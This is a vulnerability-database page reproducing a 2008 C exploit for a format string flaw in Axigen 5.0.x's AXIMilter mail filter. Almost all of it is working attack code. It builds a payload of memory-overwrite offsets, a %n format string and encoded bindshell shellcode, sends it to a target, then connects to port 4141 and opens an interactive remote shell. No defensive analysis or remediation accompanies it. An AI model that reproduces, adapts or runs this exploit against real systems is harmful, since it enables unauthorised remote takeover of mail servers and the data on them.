Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18917
HistoryJan 21, 2008 - 12:00 a.m.

AXIGEN 5.0.x AXIMilter Format String Exploit

2008-01-2100:00:00
vulners.com
17

/*

  • Axigen 5.0.x AXIMilter Format String Exploit
  • by hempel (JAN 16 2008)
  • thx to mu-b (digit-labs.org)

*/
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <string.h>

char buf[] =
"FROM:\r\nEHLO:\r\nCNIP:\r\nCNPO:\r\nCNHO: "
/* offsets /
"\xb8\x96\x05\x08\xb9\x96\x05\x08\xba\x96\x05\x08\xbb\x96\x05\x08"
"\xbc\x96\x05\x08\xbd\x96\x05\x08\xbe\x96\x05\x08\xbf\x96\x05\x08"
"\xc0\x96\x05\x08"
/
format string /
"%35u%6851$n%70u%6850$hhn%47u%6846$hhn%36u%6854$hhn%31u%6853$hhn%"
"17u%6852$hhn%134u%6847$hhn%111u%6848$hhn%259u%6849$hhn"
"\r\nRCPT:\r\nVERI: "
/
bindshell code (port 4141) */
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xdc"
"\xc8\x06\xb7\x83\xeb\xfc\xe2\xf4\xed\x13\x55\xf4\x8f\xa2\x04\xdd"
"\xba\x90\x9f\x3e\x3d\x05\x86\x21\x9f\x9a\x60\xdf\xcc\xe5\x60\xe4"
"\x55\x29\x6c\xd1\x84\x98\x57\xe1\x55\x29\xcb\x37\x6c\xae\xd7\x54"
"\x11\x48\x54\xe5\x8a\x8b\x8f\x56\x6c\xae\xcb\x37\x4f\xa2\x04\xee"
"\x6c\xf7\xcb\x37\x95\xb1\xff\x07\xd7\x9a\x6e\x98\xf3\xbb\x6e\xdf"
"\xf3\xaa\x6f\xd9\x55\x2b\x54\xe4\x55\x29\xcb\x37"
"\r\nPASS:\r\n";

static int
shell_sock (char *host, int port)
{
struct sockaddr_in addr;
int sockfd;

sockfd = socket&#40;PF_INET, SOCK_STREAM, 0&#41;;
if &#40;sockfd == -1&#41; {
    perror &#40;&quot;socket&quot;&#41;;
    return 0;
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr&#40;host&#41;;
addr.sin_port = htons&#40;port&#41;;

if &#40;connect&#40;sockfd, &#40;struct sockaddr *&#41; &amp;addr, sizeof&#40;addr&#41;&#41; == -1&#41; {
    perror &#40;&quot;connect&quot;&#41;;
    return 0;
}

return sockfd;

}

static void
shell_run (int sockfd)
{
int rs;
fd_set rset;
char rbuf[1024], *cmd = "id; uname -a; uptime\n";

write&#40;sockfd, cmd, strlen&#40;cmd&#41;&#41;;

while &#40;1&#41; {
    FD_ZERO &#40;&amp;rset&#41;;
    FD_SET &#40;sockfd, &amp;rset&#41;;
    FD_SET &#40;STDIN_FILENO, &amp;rset&#41;;

    select &#40;sockfd + 1, &amp;rset, NULL, NULL, NULL&#41;;
    if &#40;FD_ISSET &#40;sockfd, &amp;rset&#41;&#41; {
        rs = read &#40;sockfd, rbuf, sizeof&#40;rbuf&#41; - 1&#41;;
        if &#40;rs &lt;= 0&#41; {
            perror&#40;&quot;read&quot;&#41;;
            return;
        }
        rbuf[rs] = &#39;&#92;0&#39;;
        printf &#40;&quot;&#37;s&quot;, rbuf&#41;;
    }

    if &#40;FD_ISSET &#40;STDIN_FILENO, &amp;rset&#41;&#41; {
        rs = read&#40;STDIN_FILENO, rbuf, sizeof&#40;rbuf&#41; - 1&#41;;
        if &#40;rs &gt; 0&#41; {
            rbuf[rs] = &#39;&#92;0&#39;;
            write &#40;sockfd, rbuf, rs&#41;;
        }
    }
}

}

int
main(int argc, char **argv)
{
int sockfd, port, buf_len;
struct sockaddr_in addr;
char *host;

printf&#40;&quot;AXIGEN 5.0.x AXIMilter format string Exploit by hempel&#92;n&quot;&#41;;

if &#40;argc &lt; 2&#41; {
    printf&#40;&quot;&#37;s host port&#92;n&quot;, *argv&#41;;
    return 0;
}

host = argv[1];
port = atoi&#40;argv[2]&#41;;

sockfd = socket&#40;PF_INET, SOCK_STREAM, 0&#41;;
if&#40;sockfd == -1&#41; {
    perror&#40;&quot;socket&quot;&#41;;
    return -1;
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr&#40;host&#41;;
addr.sin_port = htons&#40;port&#41;;

if &#40;connect&#40;sockfd, &#40;struct sockaddr *&#41; &amp;addr, sizeof&#40;addr&#41;&#41; == -1&#41; {
    perror&#40;&quot;connect&quot;&#41;;
    return -1;
}

buf_len = sizeof&#40;buf&#41; - 1;
if &#40;write&#40;sockfd, buf, buf_len&#41; == -1&#41; {
    perror&#40;&quot;write&quot;&#41;;
    return -1;
}
close&#40;sockfd&#41;;

printf&#40;&quot;trying shell at &#37;s:4141 ...&quot;, host&#41;;
fflush&#40;stdout&#41;;
sockfd = shell_sock&#40;host, 4141&#41;;
if &#40;sockfd&#41; {
    printf&#40;&quot;w00t!&#92;n&quot;&#41;;
    shell_run&#40;sockfd&#41;;
} else {
    printf&#40;&quot;nope!&#92;n&quot;&#41;;
}

return 0;

}